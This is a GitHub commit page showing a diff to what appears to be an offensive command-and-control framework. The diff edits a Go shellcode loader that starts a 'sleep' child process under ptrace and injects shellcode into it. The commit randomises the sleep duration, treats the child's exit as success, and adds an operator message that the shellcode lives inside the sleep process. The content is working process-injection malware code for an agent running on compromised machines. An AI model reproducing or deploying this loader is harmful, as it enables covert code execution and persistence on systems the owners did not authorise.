Skip to content

Commit

Permalink
tell user about shellcode execution details
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 12, 2021
1 parent 6d94e6c commit 875bf1d
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 7 deletions.
12 changes: 5 additions & 7 deletions core/internal/agent/injector.go
Original file line number Diff line number Diff line change
Expand Up @@ -112,7 +112,8 @@ func goShellcodeLoader(shellcode *string) error {
}

// start a child process to inject shellcode into
child := exec.Command("sleep", "5")
sec := strconv.Itoa(RandInt(10, 30))
child := exec.Command("sleep", sec)
child.SysProcAttr = &syscall.SysProcAttr{Ptrace: true}
err = child.Start()
if err != nil {
Expand Down Expand Up @@ -161,6 +162,7 @@ func goShellcodeLoader(shellcode *string) error {
if err != nil {
return fmt.Errorf("continue: wait4: %v", err)
}
// what happened to our child?
switch {
case ws.Continued():
return nil
Expand All @@ -171,7 +173,7 @@ func goShellcodeLoader(shellcode *string) error {
}
return fmt.Errorf("continue: core dumped: RIP at 0x%x", regs.Rip)
case ws.Exited():
return fmt.Errorf("continue: exited (%d)", ws.ExitStatus())
return nil
case ws.Signaled():
err = syscall.PtraceGetRegs(childPid, regs)
if err != nil {
Expand All @@ -189,13 +191,9 @@ func goShellcodeLoader(shellcode *string) error {
if err != nil {
return fmt.Errorf("read regs from %d: %v", childPid, err)
}
log.Printf("continue: RIP at 0x%x", regs.Rip)
}

// detach and let it run
// err = syscall.PtraceDetach(childPid)
// if err != nil {
// return fmt.Errorf("detach: %v", err)
// }
return nil
}

Expand Down
3 changes: 3 additions & 0 deletions core/internal/cc/modinjector.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,4 +31,7 @@ func moduleInjector() {
return
}
CliPrintInfo("Please wait...")
if method == "native" {
CliPrintInfo("The shellcode will live in `sleep` process, you will get notified when it exits")
}
}

0 comments on commit 875bf1d

Please sign in to comment.